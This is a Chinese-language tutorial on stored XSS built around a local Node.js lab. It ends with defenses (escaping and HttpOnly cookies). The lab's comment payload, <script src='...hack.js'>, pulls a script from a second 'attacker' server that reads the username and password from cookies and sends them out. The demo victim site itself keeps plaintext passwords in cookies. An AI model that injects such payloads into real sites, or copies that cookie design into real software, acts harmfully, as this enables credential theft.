Stored XSS攻击
XSS(Cross Site Scripting)
即跨域脚本攻击,向被攻击网站注入恶意脚本,恶意脚本获取到数据发送到另外一个域的网站上。
Stored XSS攻击
即存储式XSS攻击。
把恶意脚本存储到被攻击者的网站的数据库。
其他人访问数据库中的恶意脚本代码后,浏览器执行恶意脚本,被攻击。
存储式攻击不止一次攻击,并且被攻击的人不止一个,影响范围大。
Stored XSS攻击实例
思路
1.通过nodeJS在后端开启两个不同端口的服务,即两个不同域的站点。
2.被攻击者网站
a:在登录时,把用户的用户名、密码信息存入cookie中
b.有一个评论功能,用户在文本框内输入评论信息,然后提交到服务器。
3.攻击者在评论处输入<script src='hack.js'></script>,点击提交后这段脚本存入到数据库
hack.js文件是攻击者网站的js脚本文件,用来获取用户的cookie中的用户名、密码信息,并且把用户名、密码发送到攻击者指定的网站。
4.当网站的用户访问带有评论<script src='hack.js'></script>信息时,会下载hack.js文件,并且执行,网站被攻击。
注意:若返回的是包含<script src='hack.js'></script>内容的静态html文件,此段代码会执行。
若使用ajax获取评论信息,然后通过innerHTML方法把<script src='hack.js'></script>添加到html文件,此段代码不执行。innerHTML会把<script src='hack.js'>
</script> 当作字符串来处理,攻击失效。
实验
文件结构
server.js为服务端,创建了两个http服务,端口分别为3000, 3100。
hackedsite为被攻击的站点,运行在3000端口中。
a.index.html为登录页。
b.为评论信息页。
c.为获取评论信息页。
hacksite为攻击的站点,运行在3100端口中。
a.hack.js为嵌入在被攻击网站的恶意脚本
b.remote.js用于协助hack.js把获取到的数据发送到hacksite站点。
过程
1.使用nodeJS搭建本地服务器,启动两个不同端口的服务,端口分别为3000,3100。
server1.listen(3000);
server2.listen(3100);
2.访问urlhttp://localhost:3000/hackedsite/index.html进入登录页面,并且输入用户名、密码
点击登录按钮后,把用户名、密码存储到cookie中,并且跳转到评论页面。
3.进入评论页面,在评论中输入<script src="http://localhost:3100/hacksite/hack.js"></script>
点击提交后,评论信息存储到数据库,并且重定向到显示评论信息页面。
4.显示评论信息页面
第三条内容为<script src="http://localhost:3100/hacksite/hack.js"></script>,被浏览器解析执行。
html为:
上面的html片段返回为静态的浏览器解析script标签,若通过ajax获取评论数据,通过innerHTML添加的,则script标签不解析执行,当作字符串来处理。
hack.js文件获取被攻击网站的cookie中存储的数据,并且发送到指定的站点。
hack.js是如何工作的
1.首先获取被攻击站点的cookie中的用户名、密码
2.借助<script>标签把获取到的用户名、密码信息发送到攻击者站点,这样,就能窃取到被攻击者的登录信息了。
sessionId
http是一种无状态的协议,为了记录一个会话周期,通过sessionId来记录会话过程。sessionId通过cookie传递到服务端,也可通过XSS攻击获取sessionId,从而使攻击者获得登陆网站的权限。
防御
(1)转义
(2)HttpOnly
如果在cookie中设置了HttpOnly属性,那么通过程序(JS脚本、Applet等)将无法读取到cookie信息,这样能有效防止XSS攻击。cookie通常在http头中传输。
cookie为字符串格式:key=value;Expires=date;Path=path;Domain=domain;Secure;HttpOnly